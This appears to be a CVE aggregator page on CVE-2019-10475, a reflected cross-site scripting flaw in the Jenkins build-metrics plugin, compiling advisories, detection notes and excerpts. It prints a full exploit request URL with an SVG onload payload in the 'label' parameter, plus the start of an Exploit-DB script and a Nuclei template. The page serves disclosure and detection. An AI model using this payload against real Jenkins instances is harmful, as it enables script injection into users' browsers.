CVE-2019-10475
published 2019-10-23CVE-2019-10475: A reflected cross-site scripting vulnerability in Jenkins build-metrics Plugin allows attackers to inject arbitrary HTML and JavaScript into web pages provided…
PriorityP352medium6.1CVSS 3.1
AVNACLPRNUIRSCCLILAN
EXPLOIT
EPSS
57.73%
99.0th percentile
A reflected cross-site scripting vulnerability in Jenkins build-metrics Plugin allows attackers to inject arbitrary HTML and JavaScript into web pages provided by this plugin.
Affected
12 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| jenkins | bitbucket_oauth_plugin | — | — |
| jenkins | build-metrics | <= 1.3 | — |
| jenkins | deploy_weblogic_plugin | — | — |
| jenkins | dynatrace_application_monitoring_plugin | — | — |
| jenkins | global_post_script_plugin | — | — |
| jenkins | ids_in_libvirt_agents_plugin | — | — |
| jenkins | ids_to_allow_users_configuring_the_plugin | — | — |
| jenkins | libvirt_agents_plugin | — | — |
| jenkins | mattermost_notification_plugin | — | — |
| jenkins | sonar_gerrit_plugin | — | — |
| jenkins | zulip_plugin | — | — |
| jenkins_project | jenkins_build-metrics_plugin | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search↗
- →The XSS payload is injected via the `label` GET parameter in a request to /plugin/build-metrics/getBuildStats. Monitor HTTP GET requests to this endpoint with unsanitized HTML/JS in the `label` parameter. ↗
- →The exploit uses a fixed Jenkins-Crumb token value in the request. Presence of this specific crumb value in requests to the getBuildStats endpoint is a strong indicator of exploit tooling. ↗
- ·The fixed Jenkins-Crumb value in the PoC/Nuclei template is a static test artifact and will not be valid against real Jenkins instances (CSRF crumbs are instance-specific). Real attacks will use a dynamically obtained crumb or may bypass CSRF protection entirely. ↗
- ·The vulnerability affects Jenkins build-metrics plugin version 1.3 and below. The affected endpoint is /plugin/build-metrics/getBuildStats and the vulnerable parameter is `label`. ↗
CVSS provenance
nvdv3.16.1MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Jenkins build-metrics Plugin reflected cross-site scripting vulnerability
ghsa·2022-05-24
CVE-2019-10475 [MEDIUM] CWE-79 Jenkins build-metrics Plugin reflected cross-site scripting vulnerability
Jenkins build-metrics Plugin reflected cross-site scripting vulnerability
Jenkins build-metrics Plugin does not properly escape the `label` query parameter, resulting in a reflected cross-site scripting vulnerability.
As of publication of this advisory, there is no fix.
OSV
Jenkins build-metrics Plugin reflected cross-site scripting vulnerability
osv·2022-05-24
CVE-2019-10475 [MEDIUM] Jenkins build-metrics Plugin reflected cross-site scripting vulnerability
Jenkins build-metrics Plugin reflected cross-site scripting vulnerability
Jenkins build-metrics Plugin does not properly escape the `label` query parameter, resulting in a reflected cross-site scripting vulnerability.
As of publication of this advisory, there is no fix.
Jenkins
Jenkins Security Advisory 2019-10-23
vendor_jenkins·2019-10-23·CVSS 6.5
CVE-2019-10459 [MEDIUM] Jenkins Security Advisory 2019-10-23
Title: Jenkins Security Advisory 2019-10-23
Jenkins Security Advisory 2019-10-23
Jenkins Security Home
For Administrators
Overview
Terminology
Vulnerabilities and Scoring
Security Advisories
Security Issues
Advisory Schedule
Vulnerabilities in Plugins
How We Fix Security Issues
For Reporters
Reporting Vulnerabilities
Jenkins CNA
For Maintainers
Overview
Vulnerabilities in Plugins
Jenkins Security Team
About
Contributions
This advisory announces vulnerabilities in the following Jenkins deliverables:
Bitbucket OAuth
Plugin
build-metrics
Plugin
Deploy WebLogic
Plugin
Dynatrace Application Monitoring
Plugin
Dynatrace Application Monitoring
Plugin
fireline
Plugin
Glo
No detection rules found.
Exploit-DB
Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
exploitdb·2019-11-08·CVSS 6.1
CVE-2019-10475 [MEDIUM] Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
---
# Exploit Title: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
# Date: 2019-11-06
# Exploit Author: vesche (Austin Jackson)
# Vendor Homepage: https://plugins.jenkins.io/build-metrics
# Version: Jenkins build-metrics plugin 1.3 and below
# Tested on: Debian 10 (Buster), Jenkins 2.203 (latest 2019-11-05), and build-metrics 1.3
# CVE: CVE-2019-10475
# Write-up: https://github.com/vesche/CVE-2019-10475
#!/usr/bin/env python
import sys
import argparse
VULN_URL = '''{base_url}/plugin/build-metrics/getBuildStats?label={inject}&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb
Nuclei
Jenkins build-metrics 1.3 - Cross-Site Scripting
nuclei·CVSS 6.1
CVE-2019-10475 [MEDIUM] Jenkins build-metrics 1.3 - Cross-Site Scripting
Jenkins build-metrics 1.3 - Cross-Site Scripting
Jenkins build-metrics 1.3 is vulnerable to a reflected cross-site scripting vulnerability that allows attackers to inject arbitrary HTML and JavaScript into the web pages the plugin provides.
Template:
id: CVE-2019-10475
info:
name: Jenkins build-metrics 1.3 - Cross-Site Scripting
author: madrobot
severity: medium
description: Jenkins build-metrics 1.3 is vulnerable to a reflected cross-site scripting vulnerability that allows attackers to inject arbitrary HTML and JavaScript into the web pages the plugin provides.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: |
Upgra
http://packetstormsecurity.com/files/155200/Jenkins-Build-Metrics-1.3-Cross-Site-Scripting.htmlhttp://www.openwall.com/lists/oss-security/2019/10/23/2https://jenkins.io/security/advisory/2019-10-23/#SECURITY-1490http://packetstormsecurity.com/files/155200/Jenkins-Build-Metrics-1.3-Cross-Site-Scripting.htmlhttp://www.openwall.com/lists/oss-security/2019/10/23/2https://jenkins.io/security/advisory/2019-10-23/#SECURITY-1490
2019-10-23
Published